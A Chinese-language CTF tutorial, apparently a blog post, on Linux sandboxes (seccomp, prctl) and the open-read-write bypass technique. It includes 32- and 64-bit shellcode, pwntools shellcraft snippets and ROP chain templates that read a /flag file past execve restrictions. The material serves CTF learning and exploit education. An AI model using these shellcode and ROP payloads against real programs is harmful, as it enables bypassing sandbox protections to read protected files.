沙箱

沙箱技术是一种安全机制,目的在于为执行中的程序提供隔离环境,可以将沙箱理解为是一个虚拟系统程序,它创造了一个类似沙箱的独立作业环境,并且会把所有操作记录下来,在其内部运行的程序并不能对硬盘产生永久性的影响

沙箱是一个独立的虚拟环境,通过拦截系统调用,监视程序行为,可以用来测试不受信任的应用程序或上网行为


沙箱和虚拟机的区别

从表面和目的上来看,沙箱有点类似于物理主机和虚拟机之间的关系,但是它们之间并不完全等价

参考文章:沙箱和虚拟机的区别-CSDN博客

  • 沙箱

沙箱绕过与ORW1.png

  1. 沙箱是在现有的系统下,虚拟文件系统和注册表,通过底层驱动虚拟硬盘等操作,让你在虚拟的软件环境中运行应用程序

  2. 沙箱中的应用程序和其它应用程序共享机器的硬件资源,对系统资源消耗较少

  3. 当沙箱中的应用程序退出后,其所做的更改会被丢弃

  4. 沙箱在进行软件测试时,沙箱会接管病毒调用接口或函数的行为,并会在确认为病毒行为后实行回滚机制,让系统复原

  5. 沙箱一般来说是不能运行需要驱动加载的软件的

  • 虚拟机

沙箱绕过与ORW2.png

  1. 虚拟机是通过软件手段虚拟计算机的硬件设备,在现有的系统下建立一个全新的系统环境,在没有进行设置前,该系统环境无法与现有系统相互访问

  2. 虚拟机不和其它应用程序共享硬件资源,因此虚拟机对系统资源消耗较大

  3. 当虚拟机退出后,其所做的更改会被保存下来

  4. 虚拟机不具备回滚复原机制,在激发病毒后,虚拟机会根据病毒的行为特征判断为是某一类病毒,并调用引擎对该病毒进行清除

  5.  虚拟机可以运行在正常系统下可以运行的软件,它可以享有属于自身的驱动程序

相对来说,虚拟机的安全性更高、技术比较稳定,很少有病毒可以攻破虚拟机使主机中毒

除此之外,虚拟机的用途更广泛


沙箱保护的种类

参考文章:栈沙箱学习之orw - 先知社区

在程序中通常会使用一个函数来创建沙箱,例如使用 sandbox() 函数开启沙箱保护

sandbox() 函数通常有两种方式开启沙箱:prctl 函数调用、seccomp 库函数

沙箱保护一般都会限制 execve 的系统调用,例如 one_gadget 和 system 调用,使我们不能正常 get shell,只能通过 ROP 调用 open()read()write() 的组合方式来获取 flag

当然,为了提高难度,有时候 open()read()write() 的组合也会被部分禁用

  • 使用 prctl() 方式开启的沙箱

函数定义如下:

#include <sys/prctl.h>

int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

主要关注 prctl() 函数的第一个参数,option 的值代表被禁用的函数黑名单

  1. prctl(38, 1LL, 0LL, 0LL, 0LL)

当第一个参数为 38 时,表示禁用系统调用

第二个参数设置为 1,则禁用 execve 系统调用,对子进程同样生效

  1. prctl(22,2, &v1)

当第一个参数为 22 时,表示设置沙箱规则,从而可以实现改变函数的系统调用

第二个参数设置为 1,只允许调用 readwrite_exit(not exit_group)sigreturn 这几个 syscall

第二个参数设置为 2,过滤模式,通过参数 3 的结构体自定义过滤规则来对 syscall 进行限制

  • 使用 seccomp() 函数调用开启的沙箱

函数定义如下:

__int64 sandbox()
{
  __int64 v1; // [rsp+8h] [rbp-8h]

  // 这里介绍两个重要的宏,SCMP_ACT_ALLOW(0x7fff0000U) 和 SCMP_ACT_KILL( 0x00000000U)
  // seccomp 初始化,参数为 0 表示白名单模式,参数为 0x7fff0000U 则为黑名单模式
  v1 = seccomp_init(0LL);
  if ( !v1 )
  {
    puts("seccomp error");
    exit(0);
  }

  // seccomp_rule_add 添加规则
  // v1 对应上面初始化的返回值
  // 0x7fff0000 即对应宏 SCMP_ACT_ALLOW
  // 第三个参数代表对应的系统调用号,0-->read / 1-->write / 2-->open / 60-->exit
  // 第四个参数表示是否需要对对应系统调用的参数做出限制以及指示做出限制的个数,传 0 不做任何限制
  seccomp_rule_add(v1, 0x7FFF0000LL, 2LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 0LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 1LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 60LL, 0LL);
  seccomp_rule_add(v1, 0x7FFF0000LL, 231LL, 0LL);

  // seccomp_load -> 将当前 seccomp 过滤器加载到内核中
  if ( seccomp_load(v1) < 0 )
  {
    // seccomp_release -> 释放 seccomp 过滤器状态
    // 但对已经 load 的过滤规则不影响
    seccomp_release(v1);
    puts("seccomp error");
    exit(0);
  }
  
  return seccomp_release(v1);
}

沙箱保护的识别

使用工具 seccomp-tools 可以识别二进制程序是否开启了沙箱,并且禁止了哪些系统调用

安装 seccomp-tools

sudo apt install gcc ruby-dev
gem install seccomp-tools

使用方法:

seccomp-tools dump 二进制程序

沙箱绕过与ORW3.png

重点注意最后的两句:

0004: 0x06 0x00 0x00 0x00000000  return KILL
0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW

通过 goto 跳转的地址可以判断哪些系统调用是被禁止的,比如这里是禁用了 execve


ORW

顾名思义,就是 openreadwrite:打开文件,将文件内容读取存储到某个位置,将文件内容打印出来

这种方法不能获取 shell,但可以实现任意地址读和任意地址写

由于 open() 函数打开文件需要传入一个文件名,因此我们可能需要先在某个地址处写入文件名 b'/flag\x00',然后将其地址作为参数传给 open() 函数

  • 32 位 ORW 系统调用号:
eaxsystem callebxecxedx
3read()unsigned int fdchar *bufsize_t count
4write()unsigned int fdconst char *bufsize_t count
5open()const char *filenameint flagsint mode

其它类似功能的函数也是可以使用的,例如:fopen()fwrite(),具体根据函数的传参调整寄存器即可

更多 32 位 syscall 格式见:linux/syscall_32.tbl · torvalds/linux · GitHub

  • 64 位 ORW 系统调用号:
raxsystem callrdirsirdx
0read()unsigned int fdchar *bufsize_t count
1write()unsigned int fdconst char *bufsize_t count
2open()const char *filenameint flagsint mode

其它类似功能的函数也是可以使用的,例如:fopen()fwrite()open64(),具体根据函数的传参调整寄存器即可

更多 64 位 syscall 格式见:linux/syscall_64.tbl · torvalds/linux · GitHub


Shellcode 型

适用于程序没有 NX 保护的时候,我们可以直接将指令写到栈上并执行

不过现在程序不开 NX 保护的情况几乎很少了,所以这种方法了解一下就好

32 位 ORW 构造

# fd = open('/flag', 0) 
ORW = ''' xor edx,edx; mov ecx,0; mov ebx,0x804a094; mov eax,5; int 0x80; '''
# read(fd, 0x804a094, 0x50) 
ORW += ''' mov edx,0x50; mov ecx,ebx; mov ebx,eax; mov eax,3; int 0x80; '''
# write(1, 0x804a094, 0x50) 
ORW += ''' mov edx,0x50; mov ebx,1; mov eax,4; int 0x80; '''

如果对汇编语言不熟悉,也可以利用 Pwntools 的 shellcraft 模块生成:

# 声明程序架构为 32 位
context(os='linux', arch='i386', log_level='debug')

# 打开本地的flag文件
ORW = asm(shellcraft.open('/flag'))
# 文件描述符3:其它打开的文件,将 flag 内容写入到 data_address 地址处
ORW += asm(shellcraft.read(3, data_address, 0x50))
# 文件描述符1:输出到屏幕,打印地址 data_address 处存储的 flag 内容
ORW += asm(shellcraft.write(1, data_address, 0x50))

64 位 ORW 构造

# fd = open('/flag', 0) 
ORW = ''' xor rdx,rdx; mov rsi,0; mov rdi,0x804a094; mov rax,2; syscall; '''
# read(fd, 0x804a094, 0x50) 
ORW += ''' mov rdx,0x50; mov rsi,rdi; mov rdi,rax; mov rax,0; syscall; '''
# write(1, 0x804a094, 0x50) 
ORW += ''' mov rdx,0x50; mov rdi,1; mov rax,1; syscall; '''

如果对汇编语言不熟悉,也可以利用 Pwntools 的 shellcraft 模块生成:

# 声明程序架构为 64 位
context(os='linux', arch='amd64', log_level='debug')

# 打开本地的flag文件
ORW = asm(shellcraft.open('/flag'))
# 文件描述符3:其它打开的文件,将 flag 内容写入到 data_address 地址处
ORW += asm(shellcraft.read(3, data_address, 0x50))
# 文件描述符1:输出到屏幕,打印地址 data_address 处存储的 flag 内容
ORW += asm(shellcraft.write(1, data_address, 0x50))

ROP 型

如果程序开启了 NX 保护,那么 Shellcode 型 ORW 就失效了

因此,相对来说,这种 ROP 的方式实用性更广一些

32 位 ORW 构造

注意:32 位程序在传参时栈上会多出一个返回地址 back_addr

我们可以将 back_addr 设置为让我们输入构造 ROP 的地方,这样就可以连续输入 3 次,将 ORW 连续 3 次分别写入并执行

# fd = fopen('/flag', 'r') 
ORW1 = p32(fopen_plt_addr) + p32(back_addr) + p32(flag_addr) + p32(r_addr)
# read(3, write_flag_addr, 0x50)
ORW2 = p32(read_plt_addr) + p32(back_addr) + p32(3) + p32(flag_addr) + p32(0x50)
# write(1, write_flag_addr, 0x50)
ORW3 = p32(write_plt_addr) + p32(main_addr) + p32(1) + p32(flag_addr) + p32(0x50)

64 位 ORW 构造

注意:64 位程序传参需要借助寄存器

因此程序中具体存在什么样的 gadget 需要具体分析,ORW 构造也会相应地修改,但只要保证我们能够将对应的值传入对应的寄存器中即可

如果没有合适的 gadget 利用,可以尝试 Ret2csu

# open(b'/flag\x00\x00', 0)
ORW = p64(pop_rdi_addr) + p64(flag_addr) + p64(pop_rsi_addr) + p64(0) + p64(open64_plt_addr)
# read(3, name_addr, 0x50)
ORW += p64(pop_rdi_addr) + p64(3) + p64(pop_rsi_addr) + p64(flag_addr) + p64(pop_rdx_rbx_addr) + p64(0x50) + p64(0) + p64(read_plt_addr)
# write(1, name_addr, 0x50)
ORW += p64(pop_rdi_addr) + p64(1) + p64(pop_rsi_addr) + p64(flag_addr) + p64(pop_rdx_rbx_addr) + p64(0x50) + p64(0) + p64(write_plt_addr)